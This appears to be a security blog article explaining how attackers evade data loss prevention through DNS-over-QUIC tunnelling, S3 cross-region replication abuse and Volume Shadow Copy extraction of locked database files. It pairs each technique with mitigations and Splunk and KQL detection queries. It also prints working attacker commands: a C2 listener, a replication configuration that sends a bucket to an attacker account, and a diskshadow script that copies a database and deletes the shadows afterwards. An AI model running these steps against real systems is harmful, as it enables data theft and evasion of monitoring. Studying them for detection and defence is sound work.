How Hackers Bypass Data Loss Prevention

Data Loss Prevention (DLP) solutions are great at catching the loud stuff. If an employee tries to upload 5GB of .docx files to Dropbox…

How Hackers Bypass Data Loss Prevention

Data Loss Prevention (DLP) solutions are great at catching the loud stuff. If an employee tries to upload 5GB of .docx files to Dropbox, your DLP alerts. If someone tries to email a spreadsheet of credit card numbers, it blocks.

But sophisticated attackers don’t upload. They sync, tunnel, and mirror.

We are seeing a rise in Zero-Touch exfiltration which are techniques that use native, trusted protocols or built-in cloud features to move data without ever triggering a traditional file-transfer alert. Here is the technical deep dive into the three most dangerous methods in the wild right now.

DNS-over-QUIC (DoQ):

DNS Tunneling is old news. Security vendors caught up; they check for high-entropy subdomains and weird query lengths.

Enter DNS-over-QUIC (DoQ). DoQ takes standard DNS queries and wraps them in the QUIC protocol (RFC 9250). QUIC uses UDP (usually port 853 or 443), is fully encrypted (TLS 1.3 baked in), and handles streams natively.

Why DLP is Blind

  1. It’s UDP: Many firewalls treat UDP port 443/853 leniently compared to TCP.
  2. No Handshake Visibility: Unlike TCP+TLS, QUIC’s handshake is encrypted almost immediately. Your firewall’s “SSL Inspection” often fails to decrypt QUIC without specific support (and certificates installed on the endpoint).
  3. Efficiency: It’s faster than DNS-over-HTTPS (DoH), making exfiltration of large files viable.

VeilTransfer

Attackers are using tools like VeilTransfer to set up a custom DoQ server. The attacker runs a listener on their C2 (Command & Control) server:

# Starts the server in QUIC mode 
./veiltransfer_server quic -cert ./server.crt -key ./server.key -listen :853

The malware on the endpoint chunks a sensitive file and blasts it out over UDP QUIC streams. To a network analyst observing Wireshark, this looks like legitimate, encrypted web traffic (HTTP/3) or just noise.

The Fix

  • Block UDP 853: Unless you have a specific business need, block outbound UDP 853.
  • Force TCP: Configure local firewalls to drop outgoing UDP 443 packets from non-browser applications, forcing the connection to fall back to TCP (which your DLP can inspect).

2. S3 Cross-Region Replication (CRR) Abuse

This is the ultimate Living off the Land attack. Why download data (which creates logs) when you can just ask AWS to “back it up” to the attacker’s account?

An attacker compromises a user with s3:PutReplicationConfiguration permissions (often found in DevOps roles). They do not “Get” the objects. Instead, they tell the S3 bucket:

“Hey, for disaster recovery, please automatically sync all current and future objects to this other bucket.”

The other bucket belongs to the attacker. AWS does the copying. The traffic never flows through your corporate network.

The Command

The attacker creates a malicious-replication.json file:

{ 
  "Role": "arn:aws:iam::TARGET_ACCOUNT_ID:role/service-role/s3crr-role", 
  "Rules": [ 
    { 
      "Status": "Enabled", 
      "Priority": 1, 
      "DeleteMarkerReplication": { "Status": "Disabled" }, 
      "Filter": { "Prefix": "" }, 
      "Destination": { 
        "Bucket": "arn:aws:s3:::ATTACKER-CONTROLLED-BUCKET", 
        "Account": "ATTACKER_ACCOUNT_ID"  
      } 
    } 
  ] 
}

Then, they apply it with a single command:

aws s3api put-bucket-replication --bucket sensitive-corp-data --replication-configuration file://malicious-replication.json

Result: The bucket begins draining itself to the attacker. Your DLP sees zero outbound traffic because the transfer happens on the AWS backend backbone.

The Fix

  • Service Control Policies (SCP): Deny s3:PutReplicationConfiguration to everyone except a specific “Cloud Admin” role.
  • Monitor the Event: Alert immediately on PutBucketReplication events in CloudTrail, specifically if the Destination account ID is not in your Organization.
Coaching and Mentoring Programs | The MasterMind Notes / Motasem Hamdan
The official Coaching and Mentoring Programs collection for The MasterMind Notes / Motasem Hamdan. Shop products like…

Hunting for S3 Cross-Region Replication Abuse

The goal here is to detect when a replication configuration is added to a bucket (PutBucketReplication) and analyze the destination. We want to flag instances where the destination account ID does not match your trusted organization ID.

Splunk (SPL)

Assumes you are ingesting CloudTrail logs into an index named aws_cloudtrail.

index=aws_cloudtrail eventName="PutBucketReplication" 
| spath path=requestParameters.replicationConfiguration.rules{}.destination.account output=dest_account 
| spath path=requestParameters.bucket output=source_bucket 
| spath path=userIdentity.arn output=actor_arn 
| search dest_account!="YOUR_TRUSTED_ORG_ID_HERE" AND dest_account!="YOUR_DR_ACCOUNT_ID" 
| table _time, actor_arn, source_bucket, dest_account, sourceIPAddress 
| rename dest_account as "Suspicious Destination Account" 
| sort - _time

Azure Sentinel (KQL)

Assumes you are ingesting AWS CloudTrail logs into Sentinel.

AWSCloudTrail 
| where EventName == "PutBucketReplication" 
| extend DestinationAccount = tostring(parse_json(RequestParameters).replicationConfiguration.rules[0].destination.account) 
| extend SourceBucket = tostring(parse_json(RequestParameters).bucket) 
| where isnotempty(DestinationAccount) 
// Whitelist your own Organization ID or DR Account ID below 
| where DestinationAccount != "YOUR_TRUSTED_ORG_ID_HERE" 
| project TimeGenerated, UserIdentityArn, SourceBucket, DestinationAccount, SourceIpAddress 
| sort by TimeGenerated desc

Database Shadow-Copy Extraction

This technique bypasses File in Use locks. If you try to copy a running SQL Server database file (.mdf) or Active Directory database (ntds.dit), the OS stops you.

Attackers use the Volume Shadow Copy Service (VSS); the same tech used for backups — to create a frozen snapshot of the drive, mount it, and copy the database files at leisure.

An attacker has shell access to your SQL Server but no SQL credentials. They want the customer database. They cannot run SELECT * because they lack a login. They cannot copy the .mdf because SQL Server has it locked.

The Commands

They use diskshadow.exe (native Windows binary) to script the theft.

  1. Create the Shadow Script (steal.dsh):Plaintextset context persistent nowriters add volume c: alias steal_drive create expose %steal_drive% z:
  2. Execute & Extract:PowerShell# Run the shadow copy creation diskshadow /s steal.dsh # The C: drive is now mirrored on Z: drive, but unlocked! copy z:\SQLData\Customers.mdf c:\temp\passwords.txt # Cleanup traces diskshadow /c "delete shadows all"

Result: The attacker has a raw copy of your database. No SQL logs were generated. No “Bulk Export” alerts fired.

The Fix

  • Monitor vssadmin and diskshadow: These tools should rarely run on production database servers outside of scheduled backup windows.
  • Registry Monitoring: Watch for the mounting of new logical drives (like Z: in the example) followed by immediate file interaction with sensitive extensions (.mdf, .dit).

Hunting for Shadow Copy Extraction (Diskshadow/VSS)

The goal is to detect the usage of diskshadow.exe or vssadmin.exe. Since admins might use these occasionally, we focus on specific command-line arguments often used by attackers (like scripting modes /s or creating exposes).

Splunk (SPL)

Assumes you have Sysmon or extensive EventCode 4688 logging.

index=win_logs source="*Sysmon*" EventCode=1  
(Image="*\\diskshadow.exe" OR Image="*\\vssadmin.exe") 
| search CommandLine="* /s *" OR CommandLine="*create*" OR CommandLine="*list shadows*" OR CommandLine="*delete shadows*" 
| rex field=CommandLine "script (?<script_file>.*\.dsh)" 
| eval suspicious_activity=case( 
    like(CommandLine, "%/s%"), "Scripted Execution (High Risk)", 
    like(CommandLine, "%delete%"), "Deleting Shadows (Ransomware Behavior)", 
    true(), "Manual Shadow Manipulation" 
) 
| table _time, Computer, User, Image, CommandLine, suspicious_activity

Azure Sentinel (KQL)

Uses the DeviceProcessEvents table (Defender for Endpoint) or SecurityEvent.

DeviceProcessEvents 
| where FileName in~ ("diskshadow.exe", "vssadmin.exe") 
// Filter for high-risk arguments 
| where ProcessCommandLine has_any (" /s ", "create", "list shadows", "delete shadows") 
| extend SuspiciousActivity = case( 
    ProcessCommandLine has "/s", "Scripted Execution (High Risk)", 
    ProcessCommandLine has "delete", "Deleting Shadows (Ransomware Behavior)", 
    "Manual Shadow Manipulation" 
) 
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine, SuspiciousActivity 
| sort by TimeGenerated desc

Cyber Security Notes and Cheat Sheets

Extras | Motasem Hamdan / MasterMinds Notes
AboutCyber Security Notes &amp; CoursesContactconsultation@motasem-notes.netProduct's Legal &amp; TOS InfoPlease read…

Conclusion

We can buy all the AI-driven security tools in the world, but if we leave an S3 bucket open or give a build-bot admin rights, we are just automating our own demise. The fix isn’t a new product; it’s better hygiene.

TryHackMe SAL1 Study Notes & Guide (Unofficial)
TryHackMe SAL1 Study Notes is designed as a comprehensive guide for cybersecurity beginners and those preparing for the…

You May Also Watch